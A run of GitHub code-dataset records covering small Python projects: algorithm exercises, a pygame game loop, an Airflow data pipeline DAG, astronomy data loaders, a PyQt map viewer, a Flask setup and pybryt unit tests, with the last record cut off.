from right portion.\n repeat this until we reach end of array.\n\n However, even though above approach results in correct answer, its time complexity is O(n^2) since we have two for loops.\n Therefore, we will create another array called a whose index indicates\n orig array's value, and a[value] = value's index in original array\n so that we can find smallest number's index with O(1) complexity.\n for example :\n arr = [0,2,4,1,3,5]\n a = [ index of 0 in orig array, index of 1 in orig array, index of 2 in orig array, ...... ]\n a[4] = 2 because the number 4 is located at position 2 in original array.\n\n while moving from left to right,\n if we find an element in correct position, we have to move to next smallest element\n so, aPtr += 1.\n else we find an element in incorrect position, we swap it with smallest element\n and update the element's (not smallest one) index in the array a to the point where the element will be moved\n \"\"\"\n\n count = 0 # count swap\n arr = [i - 1 for i in arr] # orig arr's smallest elem is 1 so I wanted to make it more intutive by doing i - 1\n a = [0 for i in range(len(arr))]\n for i, val in enumerate(arr):\n a[val] = i # a[val] = val's index in orig array\n # since orig array is continuous (there is no gap between numbers)\n # this array's index indicates orig array's value in ascending order\n #\n aIndex = 0 # index for array a\n for i, val in enumerate(arr):\n if i != val: # if current element is not in correct position\n a[val] = a[aIndex] # we swap val's position in next line so we have to change array a\n arr[i], arr[a[aIndex]] = arr[a[aIndex]], arr[i] # swap.\n count += 1 # a[aIndex] positined at the right position and arr[0: (aIndex == val)(inclusive)] is sorted since we found the smallest element to be at the right position\n aIndex += 1 # we find next smallest element\n print(arr)\n return count","repo_name":"between0n1/leetcodes","sub_path":"medium_problems/hackerrank_minimum swap II.py","file_name":"hackerrank_minimum swap II.py","file_ext":"py","file_size_in_byte":2243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30804590671","text":"class Solution:\n def occurences(self, nums):\n hashMap = dict.fromkeys(nums, 0)\n print(hashMap)\n for i in range(len(nums)):\n hashMap[nums[i]] += 1\n print(hashMap)\n return len(hashMap.values()) == len(set(hashMap.values()))\n \n\n\nsolution = Solution()\nprint(solution.occurences([1, 2,2, 3, 3,3, 5,5,5,5]))\n","repo_name":"pol-dev-shinroo/python-algorithm","sub_path":"daily/june/29/unique_number_of_occurrences2.py","file_name":"unique_number_of_occurrences2.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"74835525681","text":"import pygame\nimport sys\nfrom settings import *\nfrom level import Level\n\n\nclass Game:\n def __init__(self):\n pygame.init()\n pygame.display.set_caption(TITLE)\n info = pygame.display.Info()\n self.screen = pygame.display.set_mode(\n (info.current_w, info.current_h), pygame.RESIZABLE)\n self.clock = pygame.time.Clock()\n self.level = Level()\n\n # sound\n music = pygame.mixer.Sound('./src/audio/music.ogg')\n music.set_volume(0.1)\n music.play(loops=-1)\n\n def run(self):\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n self.level.toggleMenu()\n\n self.screen.fill(WATER_COLOR)\n self.level.run()\n pygame.display.update()\n self.clock.tick(FPS)\n\n\nif __name__ == '__main__':\n game = Game()\n game.run()\n","repo_name":"gcairesdev/zelda","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28908541479","text":"from airflow.models import DAG\nfrom airflow.operators.python import PythonOperator, ShortCircuitOperator\nfrom airflow.operators.bash import BashOperator\n\nfrom airflow.utils.dates import days_ago\nfrom datetime import timedelta\nfrom datagouvfr_data_pipelines.config import (\n AIRFLOW_DAG_TMP,\n)\nfrom datagouvfr_data_pipelines.data_processing.agence_bio.task_functions import (\n process_agence_bio,\n send_file_to_minio,\n compare_files_minio,\n send_notification,\n)\n\nTMP_FOLDER = f\"{AIRFLOW_DAG_TMP}agence_bio/\"\n\nwith DAG(\n dag_id=\"data_processing_agence_bio\",\n schedule_interval=\"0 4 * * MON\",\n start_date=days_ago(8),\n dagrun_timeout=timedelta(minutes=15),\n tags=[\"agence bio\", \"bio\", \"certifications\"],\n params={},\n catchup=False,\n) as dag:\n clean_previous_outputs = BashOperator(\n task_id=\"clean_previous_outputs\",\n bash_command=f\"rm -rf {TMP_FOLDER} && mkdir -p {TMP_FOLDER}\",\n )\n\n process_agence_bio = PythonOperator(\n task_id=\"process_agence_bio\", python_callable=process_agence_bio\n )\n\n send_file_to_minio = PythonOperator(\n task_id=\"send_file_to_minio\", python_callable=send_file_to_minio\n )\n\n compare_files_minio = ShortCircuitOperator(\n task_id=\"compare_files_minio\", python_callable=compare_files_minio\n )\n\n send_notification = PythonOperator(\n task_id=\"send_notification\", python_callable=send_notification\n )\n\n process_agence_bio.set_upstream(clean_previous_outputs)\n send_file_to_minio.set_upstream(process_agence_bio)\n compare_files_minio.set_upstream(send_file_to_minio)\n send_notification.set_upstream(compare_files_minio)\n","repo_name":"etalab/datagouvfr_data_pipelines","sub_path":"data_processing/agence_bio/DAG.py","file_name":"DAG.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"21677399147","text":"import pandas as pd\nimport numpy as np\nimport astropy.units as u\nimport pandas as pd\n\ndef load_flare_csv(file_name):\n\n df_flare_can = pd.read_csv(file_name)\n dates = np.array(df_flare_can['date'])\n gaia_ids = np.array(df_flare_can['Gaia ID'],dtype = int)\n tic_ids = np.array(df_flare_can['TIC ID'])\n t_half = np.array(df_flare_can['t_1_2 (s)'])\n t_rise = np.array(df_flare_can['rise (s)'])\n t_peak = np.array(df_flare_can['tpeak'])\n mass = np.array(df_flare_can['mass'])\n rad = np.array(df_flare_can['rad'])\n teff = np.array(df_flare_can['Teff'])\n Leff = np.array(df_flare_can['lum'])\n tplotmin = np.array(df_flare_can['tplotmin'],dtype = int)\n tplotMax = np.array(df_flare_can['tplotMax'], dtype = int)\n plot_flux_type = np.array(df_flare_can['plot_flux_type'], dtype = str)\n return dates, gaia_ids, tic_ids, t_half, t_rise, t_peak, mass, rad, teff, Leff, tplotmin, tplotMax, plot_flux_type\n\ndef galex_load(file_name=\"/Users/masatakaaizawa/research/heso/tomoe_analysis/table_for_galex/galex.txt\"):\n file = open(file_name, \"r\")\n lines = file.readlines()\n dur_arr = []\n teff_arr = []\n Ebol_arr = []\n for line in lines:\n try:\n start = float(line[29:38])\n end = float(line[39:48])\n\n teff = float(line[79:84])\n Ebol= float(line[115:122])\n dur_arr.append(end-start)\n teff_arr.append(teff)\n Ebol_arr.append(Ebol)\n except:\n pass\n teff_arr = np.array(teff_arr)\n dur_arr = np.array(dur_arr)\n Ebol_arr = np.array(Ebol_arr)\n return teff_arr, dur_arr, Ebol_arr\n\n\ndef tess_gunther_load(file_name = \"/Users/masatakaaizawa/research/heso/tomoe_analysis/table_for_tess/gunther_2020.txt\"):\n file = open(file_name, \"r\")\n lines = file.readlines()\n t_fwhm_arr = []\n teff_arr = []\n Ebol_arr = []\n t_fwhm_low_arr = []\n t_fwhm_upp_arr = []\n for line in lines:\n try:\n t_fwhm = float(line[75:82])\n t_fwhm_lower = float(line[83:90])\n t_fwhm_upper = float(line[91:98])\n teff = float(line[168:173])\n Ebol= float(line[99:108])\n t_fwhm_arr.append(t_fwhm)\n t_fwhm_low_arr .append(t_fwhm_lower)\n t_fwhm_upp_arr .append(t_fwhm_upper)\n teff_arr.append(teff)\n Ebol_arr.append(Ebol)\n print(t_fwhm, )\n except:\n pass\n t_fwhm_arr = 3600*24 * np.array( t_fwhm_arr)\n t_fwhm_low_arr = 3600*24 * np.array( t_fwhm_low_arr)\n t_fwhm_upp_arr = 3600*24 * np.array( t_fwhm_upp_arr)\n teff_arr = np.array(teff_arr)\n Ebol_arr = np.array(Ebol_arr)\n return t_fwhm_arr, t_fwhm_low_arr, t_fwhm_upp_arr, teff_arr, Ebol_arr\n\ndef load_lc_model_and_data(file):\n data = np.load(file, allow_pickle = True)\n\n try:\n\n time = data[\"time\"]\n flux = data[\"flux\"]\n flux_err = data[\"flux_err\"]\n mean_muy = data[\"mean_model\"]\n low_model = data[\"low_model\"]\n upper_model = data[\"upper_model\"]\n hpdi_muy = [low_model, upper_model]\n return time, flux, flux_err, mean_muy, hpdi_muy\n\n except:\n time = data[\"time\"]\n flux = data[\"flux\"]\n flux_err = data[\"flux_err\"]\n mean_muy = data[\"mean_model\"]\n low_model = data[\"low_model\"]\n upper_model = data[\"upper_model\"]\n hpdi_muy = [low_model, upper_model]\n return time, flux, flux_err, mean_muy, hpdi_muy\n\n\ndef load_lc_model_and_data_205(file):\n data = np.load(file, allow_pickle = True)\n\n\n time = data[\"time_mask\"]\n flux = data[\"flux_mask\"]\n flux_err = data[\"flux_err_mask\"]\n mean_muy = data[\"mean_model\"]\n low_model = data[\"low_model\"]\n upper_model = data[\"upper_model\"]\n hpdi_muy = [low_model, upper_model]\n return time, flux, flux_err, mean_muy, hpdi_muy\n\n\ndef load_csv_for_params(file_name):\n df = pd.read_csv(file_name)\n tic_ids = df[\"TIC ID\"].values\n para_names_for_csv = [\"t_rise[sec]_50\",\"t_peak[sec]_50\", \"flare count\", \"f_peak_50\", \"t_peak_duration_50\", \"t_1_2_decay[sec]_50\", 't_ratio_50', 't_1_2_decay_2[sec]_50', \"fraction_50\"]\n t_rise = df[\"t_rise[sec]_50\"].values\n t_peak = df[\"t_peak[sec]_50\"].values\n f_peak = df[\"f_peak_50\"].values\n t_1_2_decay =df[\"t_1_2_decay[sec]_50\"].values\n t_ratio = df[\"t_ratio_50\"].values\n t_1_2_decay_2 = df[\"t_1_2_decay_2[sec]_50\"] \n fraction = df[\"fraction_50\"].values\n t_peak_duration= df[\"t_peak_duration_50\"].values\n flare_count= df[\"flare count\"].values\n ED= df[\"ED\"].values\n return tic_ids, t_rise, t_peak, f_peak, t_1_2_decay, t_ratio, t_1_2_decay_2, fraction, t_peak_duration, flare_count, ED\n\ndef get_complete_source_ids(df_catalog_target):\n ''' Obtain the complete source IDs from df_catalog\n\n Args:\n df_catalog_all_stars : \n \n Returns:\n source_ids_all : list of complete soruce IDs\n \n '''\n source_ids = []\n list_of_sourceid = np.array(df_catalog_target['source_id'])\n list_of_catalogid = np.array(df_catalog_target['catalog_name'])\n \n for i in range(len(list_of_catalogid)):\n source_ids.append(str(list_of_catalogid[i])+ '_' + str(list_of_sourceid[i]))\n\n return source_ids\n","repo_name":"2ndmk2/hzlc_result","sub_path":"src/hzlc_result/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":5214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"26145841611","text":"from myhdl import *\nfrom hdl.sorting import BathersNetwork\nfrom hdl.misc import Register\n\n\ndef OurFilter(clk, x0, x1, x2, x3, x4, x5, x6, x7, x8, y4):\n regs_inst = []\n y = [Signal(intbv(0)[8:]) for _ in range(9)]\n pipe_0 = [Signal(intbv(0)[8:]) for _ in range(9)]\n\n net_inst = BathersNetwork(clk, x0, x1, x2, x3, x4, x5, x6, x7, x8,\n y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8])\n\n regs_inst.append(Register(clk, x4, pipe_0[8]))\n for i in range(0, 8):\n regs_inst.append(Register(clk, pipe_0[i+1], pipe_0[i]))\n\n\n @always(clk.posedge)\n def CMP_LOGIC():\n if y[4] - pipe_0[0] > 30:\n y4.next = y[4]\n else:\n y4.next = pipe_0[0]\n\n return instances()\n\n\nif __name__ == \"__main__\":\n clk = Signal(bool(0))\n\n x = [Signal(intbv(0, min=0, max=2**8)) for _ in range(9)]\n y = Signal(modbv(0)[8:])\n\n inst = toVHDL(OurFilter,\n clk,\n x[0], x[1], x[2], x[3], x[4], x[5], x[6], x[7], x[8],\n y)\n","repo_name":"dsalnikov/aswm","sub_path":"hdl/our.py","file_name":"our.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"28325075173","text":"import os\nimport sys\n\nimport requests\nfrom PyQt5 import uic\nfrom PyQt5.QtGui import QPixmap\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QApplication, QWidget, QLabel, QRadioButton, \\\n QHBoxLayout\n\nSCREEN_SIZE = [800, 600]\n\n\nclass Example(QWidget):\n def __init__(self, lon, lat):\n super().__init__()\n uic.loadUi('map_window.ui')\n self.lon = f'{lat}'\n self.lat = f'{lon}'\n self.delta = f'{10}'\n self.type_of_map = 0\n self.list_of_types_of_map = ['map', 'sat', 'skl']\n self.getImage()\n self.initUI()\n\n def getImage(self):\n import requests\n api_server = \"http://static-maps.yandex.ru/1.x/\"\n\n lon = self.lon\n lat = self.lat\n delta = self.delta\n\n params = {\n \"ll\": \",\".join([lon, lat]),\n \"z\": f'{self.delta}',\n \"l\": self.list_of_types_of_map[self.type_of_map % 3]\n }\n response = requests.get(api_server, params=params)\n\n if not response:\n print(\"Ошибка выполнения запроса:\")\n print(api_server)\n print(\"Http статус:\", response.status_code, \"(\", response.reason, \")\")\n sys.exit(1)\n\n # Запишем полученное изображение в файл.\n self.map_file = \"map.png\"\n with open(self.map_file, \"wb\") as file:\n file.write(response.content)\n\n def initUI(self):\n self.setGeometry(100, 100, *SCREEN_SIZE)\n self.setWindowTitle('Отображение карты')\n\n ## Изображение\n self.pixmap = QPixmap(self.map_file)\n self.image = QLabel(self)\n self.image.move(0, 0)\n self.image.resize(800, 600)\n self.image.setPixmap(self.pixmap)\n\n def image_change_event(self):\n self.getImage()\n self.pixmap = QPixmap(self.map_file)\n\n self.image.setPixmap(self.pixmap)\n\n def closeEvent(self, event):\n \"\"\"При закрытии формы подчищаем за собой\"\"\"\n os.remove(self.map_file)\n\n def keyPressEvent(self, event):\n\n if event.key() == 16777238 and int(self.delta) < 20:\n self.delta = str(int(self.delta) + 1)\n elif event.key() == 16777239 and int(self.delta) > 0:\n self.delta = str(int(self.delta) - 1)\n\n elif event.key() == 16777236: # right\n self.lon = str(float(self.lon) + 0.0001 * (20 - int(self.delta)))\n elif event.key() == 16777234: # left\n self.lon = str(float(self.lon) - 0.0001 * (20 - int(self.delta)))\n\n elif event.key() == 16777235: # up\n self.lat = str(float(self.lat) + 0.0001 * (20 - int(self.delta)))\n elif event.key() == 16777237: # down\n self.lat = str(float(self.lat) - 0.0001 * (20 - int(self.delta)))\n elif event.key() == 32: # смена вида карты\n self.type_of_map += 1\n self.image_change_event()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n coords = [float(elem) for elem in input().split(', ')]\n\n ex = Example(coords[0], coords[1])\n ex.show()\n\n sys.exit(app.exec())\n","repo_name":"Near8954/api","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25349327236","text":"\n\"\"\"\nWebsite for Supremacy-stats\n\"\"\"\n\nfrom flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom flask_login import LoginManager\nfrom flask_compress import Compress\nfrom flask_argon2 import Argon2\n\n\napp = Flask(__name__)\n\napp.config.from_object(__name__)\napp.config.from_envvar('FLASKR_SETTINGS', silent=True)\napp.config.update(\n TESTING=True,\n SQLALCHEMY_DATABASE_URI='postgresql://cashreq@localhost/casreq',\n SECRET_KEY='g6DGM5y2bVhb0mxdCRELI5m7fnzzoJ2y',\n SQLALCHEMY_TRACK_MODIFICATIONS=False,\n SEND_FILE_MAX_AGE_DEFAULT=1296000,\n)\napp.jinja_env.lstrip_blocks = True\napp.jinja_env.trim_blocks = True\n\nCOMPRESS_MIMETYPES = [\n 'text/html',\n 'text/css',\n 'text/xml',\n 'application/json',\n 'application/javascript'\n ]\nCOMPRESS_LEVEL = 6\nCOMPRESS_MIN_SIZE = 500\nCompress(app)\n\ndb = SQLAlchemy(app)\nmigrate = Migrate(app, db)\nargon2 = Argon2(app)\n\n# Login\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\nlogin_manager.login_view = \"login\"\nlogin_manager.login_message_category = \"warning\"\n","repo_name":"joostsijm/cashreq","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34370072767","text":"import sympy\n\nfrom simpleTableau import SimpleTableau\nimport sysoutPrinter\nfrom simpleConverter import SimpleConverter\nfrom simpleLPP import SimpleLPP\nfrom symEquation import SymEquation\n\nif __name__ == \"__main__\":\n # Setup a list of variables\n vr = sympy.symbols(\"x1 x2 x3 x4 x5\")\n # Create an objective row as a SymEquation\n obj_row = SymEquation(4*vr[1] + 3*vr[0] + 2*vr[3] -10*vr[4])\n # Create the first constraint on the given LPP.\n row_1 = SymEquation((vr[1] + vr[2] <= 10))\n\n # Create some simple constraints to ensure the LPP can be converted\n std_const = []\n for var in vr:\n std_const.append(SymEquation(var >= 0))\n\n # Create the LPP class\n test = SimpleLPP(obj_row, [row_1] + std_const, True, sysoutPrinter.SysoutPrinter())\n\n # Use a compacted output method to print out the LPP in text.\n test.compacted_output()\n\n # Now testing of conversion to canonical form\n converter = SimpleConverter(test)\n canon = converter.convert_to_canonical()\n canon.compacted_output()\n\n # we can see that U-1 has been added to the list of variables\n v = canon.get_variables()\n\n table = converter.generate_tableau(SimpleTableau)\n table.output()\n print(v)\n #print(canon.get_objective().get_array_form(v))\n # print(canon.get_form())\n\n\n","repo_name":"VijayS02/LPPy","sub_path":"LPPy/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18189588342","text":"\"\"\"\"\"\"\n\nimport dill\nimport json\nimport nbformat\nimport numpy as np\nimport os\nimport pkg_resources\nimport pytest\nimport tempfile\n\nfrom copy import deepcopy\nfrom textwrap import dedent\n\nfrom pybryt import generate_report, MemoryFootprint, ReferenceImplementation, Value\nfrom pybryt.execution import execute_notebook, MemoryFootprintValue\n\n\ndef generate_footprint(nb) -> MemoryFootprint:\n return execute_notebook(nb, \"\")\n\n\ndef generate_reference_notebook():\n \"\"\"\n \"\"\"\n nb = nbformat.v4.new_notebook()\n nb.cells.append(nbformat.v4.new_code_cell(dedent(\"\"\"\\\n import pybryt\n \"\"\")))\n nb.cells.append(nbformat.v4.new_code_cell(dedent(\"\"\"\\\n def median(S):\n sorted_S = sorted(S) \n pybryt.Value(sorted_S, name=\"sorted\", group=\"median\", limit=5, success_message=\"SUCCESS: Sorted the sample correctly\", \n failure_message=\"ERROR: The sample was not sorted\")\n \n size_of_set = len(S) \n pybryt.Value(size_of_set, name=\"size\", group=\"median\", success_message = \"SUCCESS: Computed the size of the sample\", \n failure_message=\"ERROR: Did not capture the size of the set to determine if it is odd or even\")\n \n middle = size_of_set // 2\n is_set_size_even = (size_of_set % 2) == 0\n\n if is_set_size_even:\n return (sorted_S[middle-1] + sorted_S[middle]) / 2\n else:\n return sorted_S[middle]\n \"\"\")))\n nb.cells.append(nbformat.v4.new_code_cell(dedent(\"\"\"\\\n import numpy as np\n np.random.seed(42)\n for _ in range(10):\n vals = [np.random.randint(-1000, 1000) for _ in range(np.random.randint(1, 1000))]\n val = median(vals)\n pybryt.Value(val, name=\"median\", group=\"median\", success_message=\"SUCCESS: computed the correct median\", \n failure_message=\"ERROR: failed to compute the median\")\n \"\"\")))\n return nb\n\n\ndef test_reference_construction():\n \"\"\"\n \"\"\"\n nb = generate_reference_notebook()\n\n # check compile error\n with pytest.raises(ValueError, match=\"No name specified for the reference being compiled\"):\n ReferenceImplementation.compile(nb)\n\n ref = ReferenceImplementation.compile(nb, name=\"foo\")\n\n # test ReferenceImplementation.get\n sorted_annots = ref.get(\"sorted\")\n assert len(sorted_annots) == 5\n assert all(isinstance(a, Value) for a in sorted_annots)\n\n with pytest.raises(ValueError, match=\"Found no annotations with name 'foo'\"):\n ref.get(\"foo\")\n\n ref_filename = pkg_resources.resource_filename(__name__, os.path.join(\"files\", \"expected_ref.pkl\"))\n expected_ref = ReferenceImplementation.load(ref_filename)\n\n with tempfile.NamedTemporaryFile() as ntf:\n ref.dump(ntf.name)\n second_ref = ReferenceImplementation.load(ntf.name)\n assert ref == second_ref\n assert ref == expected_ref\n\n # test construction from .py file w/ ReferenceImplementation objects\n ref2_filename = pkg_resources.resource_filename(__name__, os.path.join(\"files\", \"expected_ref2.pkl\"))\n expected_ref2 = ReferenceImplementation.load(ref2_filename)\n\n with tempfile.NamedTemporaryFile(\"w+\", suffix=\".py\") as ntf:\n ntf.write(dedent(\"\"\"\\\n import pybryt\n import numpy as np\n np.random.seed(42)\n\n def square_evens(arr):\n subarr = arr[arr % 2 == 0]\n v1 = pybryt.Value(subarr)\n subarr = subarr ** 2\n v2 = pybryt.Value(subarr)\n arr = arr.copy()\n arr[arr % 2 == 0] = subarr\n return v1, v2, arr\n\n annots = []\n for _ in range(10):\n vals = np.array([np.random.randint(-1000, 1000) for _ in range(np.random.randint(1, 1000))])\n v1, v2, val = square_evens(vals)\n annots.append(v1)\n annots.append(v2)\n annots.append(pybryt.Value(val))\n \n ref = pybryt.ReferenceImplementation(\"foo\", annots)\n ref2 = pybryt.ReferenceImplementation(\"bar\", [])\n \"\"\"))\n\n ntf.seek(0)\n\n more_refs = ReferenceImplementation.compile(ntf.name, name=\"foo\")\n assert len(more_refs) == 2\n assert len(more_refs[1].annotations) == 0\n \n ref2 = more_refs[0]\n assert ref2 == expected_ref2\n\n # check filtering named annotations (#147)\n annots = [\n Value(0),\n Value(1, name=\"1\"),\n Value(2, name=\"1\"),\n Value(3, name=\"1\"),\n Value(4, name=\"2\", limit=2),\n Value(5, name=\"2\", limit=2),\n Value(6, name=\"2\", limit=2),\n Value(7, name=\"3\", limit=2),\n ]\n ref = ReferenceImplementation(\"named-annotations\", annots)\n assert len(ref.annotations) == 7\n assert annots[-2] not in ref.annotations\n\n\ndef test_construction_errors():\n \"\"\"\n \"\"\"\n with pytest.raises(TypeError, match=\"annotations should be a list of Annotations\"):\n ReferenceImplementation(\"foo\", set())\n\n with pytest.raises(TypeError, match=\"Found non-annotation in annotations\"):\n ReferenceImplementation(\"bar\", [Value(1), Value(2), 3, Value(4)])\n\n # check that you can't load something that isn't a ReferenceImplementation\n with tempfile.NamedTemporaryFile() as ntf:\n dill.dump(1, ntf)\n\n ntf.seek(0)\n\n with pytest.raises(TypeError, match=\"Unpickled object is not of type \"):\n ReferenceImplementation.load(ntf.name)\n\n # check that loading an empty reference implementation gives an error\n with tempfile.NamedTemporaryFile(mode=\"w+\", suffix=\".ipynb\") as ntf:\n nbformat.write(nbformat.v4.new_notebook(), ntf)\n\n ntf.seek(0)\n\n with pytest.warns(UserWarning, match=f\"Could not find any reference implementations in {ntf.name}\"):\n ReferenceImplementation.compile(ntf.name, name=\"bar\")\n\n\ndef test_run_and_results():\n \"\"\"\n \"\"\"\n nb = generate_reference_notebook()\n nb.cells.append(nbformat.v4.new_code_cell(dedent(\"\"\"\\\n vals = [np.random.randint(-1000, 1000) for _ in range(np.random.randint(1, 1000))]\n val = median(vals)\n # this annotation is not in the 'median' group\n pybryt.Value(val, success_message=\"SUCCESS: computed the correct median x2\", \n failure_message=\"ERROR: failed to compute the median\")\n \"\"\")))\n ref = ReferenceImplementation.compile(nb, name=\"foo\")\n footprint = generate_footprint(nb)\n \n res = ref.run(footprint)\n assert res.name == ref.name\n assert len(res.results) == 27\n assert res.reference is ref\n assert res.correct is True\n assert (res.to_array() == np.ones(27)).all()\n assert repr(res).startswith(\"ReferenceResult([\\n\") and len(repr(res).split(\"\\n\")) == 29\n assert res.messages == [\n 'SUCCESS: Sorted the sample correctly', \n 'SUCCESS: Computed the size of the sample', \n 'SUCCESS: computed the correct median',\n 'SUCCESS: computed the correct median x2',\n ]\n\n res = ref.run(footprint, group=\"median\")\n assert len(res.results) == 26\n assert res.reference is ref\n assert res.correct is True\n assert (res.to_array() == np.ones(26)).all()\n assert repr(res).startswith(\"ReferenceResult([\\n\") and len(repr(res).split(\"\\n\")) == 28\n assert res.messages == [\n 'SUCCESS: Sorted the sample correctly', \n 'SUCCESS: Computed the size of the sample', \n 'SUCCESS: computed the correct median',\n ]\n\n nb.cells.insert(2, nbformat.v4.new_code_cell(\"import numpy as np\\ndef median(S):\\n return np.median(S)\"))\n footprint = generate_footprint(nb)\n \n res = ref.run(footprint)\n assert len(res.results) == 27\n assert res.reference is ref\n assert res.correct is False\n assert (res.to_array() == np.array([0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, \n 1, 1, 1, 1, 1, 1, 1])).all()\n assert repr(res).startswith(\"ReferenceResult([\\n\") and len(repr(res).split(\"\\n\")) == 29\n assert res.messages == [\n 'ERROR: The sample was not sorted',\n 'ERROR: Did not capture the size of the set to determine if it is odd or even',\n 'SUCCESS: computed the correct median',\n 'SUCCESS: computed the correct median x2',\n ]\n\n res_filename = pkg_resources.resource_filename(__name__, os.path.join(\"files\", \"expected_result.json\"))\n with open(res_filename) as f:\n expected_res_dict = json.load(f)\n\n for d in expected_res_dict[\"results\"]:\n d.pop(\"satisfied_at\")\n\n res_dict = res.to_dict()\n\n # check satisfied_at field here since they won't match up\n assert all(isinstance(d.pop(\"satisfied_at\", None), int) for d in res_dict[\"results\"])\n\n assert res_dict == expected_res_dict\n\n with pytest.raises(ValueError, match=\"Group 'foo' not found\"):\n ref.run(footprint, group=\"foo\")\n\n # check message filtering (#145)\n ref = ReferenceImplementation(\"foo\", [\n Value(0, name=\"1\", success_message=\"sm1\"),\n Value(1, name=\"1\", success_message=\"sm1\"),\n Value(2, name=\"2\", failure_message=\"fm2\"),\n Value(3, name=\"2\", failure_message=\"fm2\"),\n Value(4, name=\"3\", success_message=\"sm3\", failure_message=\"fm3\"),\n Value(5, name=\"3\", success_message=\"sm3\", failure_message=\"fm3\"),\n ])\n\n vals = [MemoryFootprintValue(i, i, None) for i in range(6)]\n res = ref.run(MemoryFootprint.from_values(*vals))\n assert res.messages == [\"sm1\", \"sm3\"]\n\n res = ref.run(MemoryFootprint.from_values(vals[0], vals[2], vals[3]))\n assert res.messages == [\"fm3\"]\n\n res = ref.run(MemoryFootprint.from_values(vals[0], vals[1], vals[4]))\n assert res.messages == [\"sm1\", \"fm2\", \"fm3\"]\n\n\ndef test_generate_report():\n \"\"\"\n \"\"\"\n nb = generate_reference_notebook()\n ref = ReferenceImplementation.compile(nb, name=\"foo\")\n footprint = generate_footprint(nb)\n res = ref.run(footprint)\n\n report = generate_report(res)\n assert report == dedent(\"\"\"\\\n REFERENCE: foo\n SATISFIED: True\n MESSAGES:\n - SUCCESS: Sorted the sample correctly\n - SUCCESS: Computed the size of the sample\n - SUCCESS: computed the correct median\n \"\"\").strip()\n\n res2 = deepcopy(res)\n res2.results[0]._satisfied = False\n report = generate_report(res2)\n assert report == dedent(\"\"\"\\\n REFERENCE: foo\n SATISFIED: False\n MESSAGES:\n - ERROR: The sample was not sorted\n - SUCCESS: Computed the size of the sample\n - SUCCESS: computed the correct median\n \"\"\").strip()\n\n report = generate_report(res, show_only=\"unsatisfied\")\n assert report == dedent(\"\"\"\\\n REFERENCE: foo\n SATISFIED: True\n MESSAGES:\n - SUCCESS: Sorted the sample correctly\n - SUCCESS: Computed the size of the sample\n - SUCCESS: computed the correct median\n \"\"\").strip()\n\n report = generate_report(res, show_only=\"unsatisfied\", fill_empty=False)\n assert report == \"\"\n\n res = [res, res2]\n report = generate_report(res)\n assert report == dedent(\"\"\"\\\n REFERENCE: foo\n SATISFIED: True\n MESSAGES:\n - SUCCESS: Sorted the sample correctly\n - SUCCESS: Computed the size of the sample\n - SUCCESS: computed the correct median\n\n REFERENCE: foo\n SATISFIED: False\n MESSAGES:\n - ERROR: The sample was not sorted\n - SUCCESS: Computed the size of the sample\n - SUCCESS: computed the correct median\n \"\"\").strip()\n\n report = generate_report(res, show_only=\"satisfied\")\n assert report == dedent(\"\"\"\\\n REFERENCE: foo\n SATISFIED: True\n MESSAGES:\n - SUCCESS: Sorted the sample correctly\n - SUCCESS: Computed the size of the sample\n - SUCCESS: computed the correct median\n \"\"\").strip()\n\n report = generate_report(res, show_only=\"unsatisfied\")\n assert report == dedent(\"\"\"\\\n REFERENCE: foo\n SATISFIED: False\n MESSAGES:\n - ERROR: The sample was not sorted\n - SUCCESS: Computed the size of the sample\n - SUCCESS: computed the correct median\n \"\"\").strip()\n\n # check group\n res = ref.run(footprint, group=\"median\")\n report = generate_report(res)\n assert report == dedent(\"\"\"\\\n REFERENCE: foo\n GROUP: median\n SATISFIED: True\n MESSAGES:\n - SUCCESS: Sorted the sample correctly\n - SUCCESS: Computed the size of the sample\n - SUCCESS: computed the correct median\n \"\"\").strip()\n\n # check display name\n ref = ReferenceImplementation.compile(nb, name=\"foo\", display_name=\"bar\")\n res = ref.run(footprint)\n report = generate_report(res)\n assert report == dedent(\"\"\"\\\n REFERENCE: bar\n SATISFIED: True\n MESSAGES:\n - SUCCESS: Sorted the sample correctly\n - SUCCESS: Computed the size of the sample\n - SUCCESS: computed the correct median\n \"\"\").strip()\n\n # check empty messages\n ref = ReferenceImplementation(\"foo\", [Value(footprint.get_value(0).value)])\n res = ref.run(footprint)\n report = generate_report(res)\n assert report == dedent(\"\"\"\\\n REFERENCE: foo\n SATISFIED: True\n \"\"\").strip()\n\n # test misc. errors\n with pytest.raises(TypeError, match=\"Cannot generate a report from arguments that are not reference result objects\"):\n generate_report(1)\n\n with pytest.raises(TypeError, match=\"Cannot generate a report from arguments that are not 